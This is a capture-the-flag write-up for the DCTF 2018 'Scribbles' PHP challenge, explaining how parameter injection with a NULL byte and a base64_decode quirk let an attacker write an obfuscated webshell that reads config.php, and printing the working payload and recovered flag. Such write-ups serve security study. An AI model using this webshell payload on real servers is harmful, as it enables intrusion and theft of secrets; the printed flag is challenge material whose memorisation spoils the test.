/dctf2018-final/Scribbles/README.md

https://github.com/w181496/CTF · Markdown · 130 lines · 85 code · 45 blank · 0 comment · 0 complexity · 475875f3e79f16effbfa9bebf1b989b0 MD5 · raw file

  1. # Scribbles
  2. ## Problem
  3. ```php
  4. <?php
  5. require('config.php');
  6. if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
  7. highlight_file(__FILE__);
  8. exit;
  9. }
  10. if (empty($_GET['action'])) {
  11. $data = $_POST['data'];
  12. $name = uniqid();
  13. $payload = "data=$data&name=$name";
  14. $post = http_build_query([
  15. 'signature' => hash_hmac('md5', $payload, FLAG),
  16. 'payload' => $payload,
  17. ]);
  18. $ch = curl_init();
  19. curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1" . $_SERVER['REQUEST_URI'] . "?action=log");
  20. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  21. curl_setopt($ch, CURLOPT_POST, 1);
  22. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  23. echo curl_exec($ch);
  24. } else {
  25. if (hash_hmac('md5', $_POST['payload'], FLAG) !== $_POST['signature']) {
  26. echo 'FAIL';
  27. exit;
  28. }
  29. parse_str($_POST['payload'], $payload);
  30. $target = 'files/' . time() . '.' . substr($payload['name'], -20);
  31. $contents = $payload['data'];
  32. $decoded = base64_decode($contents);
  33. $ext = 'raw';
  34. if (isset($payload['ext'])) {
  35. $ext = (
  36. ( $payload['ext'] == 'j' ) ? 'jpg' :
  37. ( $payload['ext'] == 'p' ) ? 'php' :
  38. ( $payload['ext'] == 'r' ) ? 'raw' : 'file'
  39. );
  40. }
  41. if ($decoded !== '') {
  42. $contents = $decoded;
  43. $target .= '.' . $ext;
  44. }
  45. if (strlen($contents) > 37) {
  46. echo 'FAIL';
  47. exit;
  48. }
  49. file_put_contents($target, $contents);
  50. echo 'OK';
  51. }
  52. ```
  53. If we request without action parameter, it will construct post payload and send request to self(with action parameter) by curl.
  54. The `hash_hmac` key is `FLAG`, but we don't know the content.
  55. So we can't directly forge the signature.
  56. ## Exploit
  57. The vulnerability is on `$payload = "data=$data&name=$name";`
  58. We can't control `$name` variable, but we can use `$data` to control `$name`
  59. Like this: set `$data`: `xxx&name=new_name%00`
  60. The NULL byte will truncate the original name.
  61. Now we can control the file name.
  62. We want to write a webshell and execute it.
  63. But if `$decoded !== ''`, it will append extension to the filename.
  64. So we need to find a way to set `$decoded` empty.
  65. And we know that php's `base64_decode()` will output empty string if its input doesn't contain any valid character.
  66. (valid character include `a-z`, `A-Z`, `0-9`, `+`, `/`, ...)
  67. Our goal is writing a non valid character webshell and the length shold be less than 38.
  68. There are some tips, we can use some arithmetic operation like `XOR`, `NOT`, `AND`, ... to construct the php code.
  69. So if we set data to ``` <?=`something`;%26name%3Dz.php%00```, the `$decoded` will be empty and the name can be controled.
  70. The content of the file will not be decoded, it is the original content: ``` <?=`something`; ```
  71. We can run the php script now.
  72. ## Payload
  73. ``` data=<?=$_=~%9c%9e%8b;`$_ ../*>_`;%26name%3Dz.php%00```
  74. `~%9c%9e%8b` is `cat`
  75. so the payload will cat everthing in `../`, then write to `_`.
  76. After we run the `files/time().z.php`, we can get the content of `config.php` in the `files/_`
  77. ## Flag
  78. config.php:
  79. ```php
  80. <?php
  81. set_time_limit(10);
  82. define('FLAG', 'DCTF{7b39c8fcaef42b2f72d1f7d6f0686802bd9282f289f125281fd92c67572dd390}');
  83. // added afterwards, not part of the challenge and keeps crashing apache because of a scenario
  84. $_SERVER['REQUEST_URI'] = '/';
  85. ```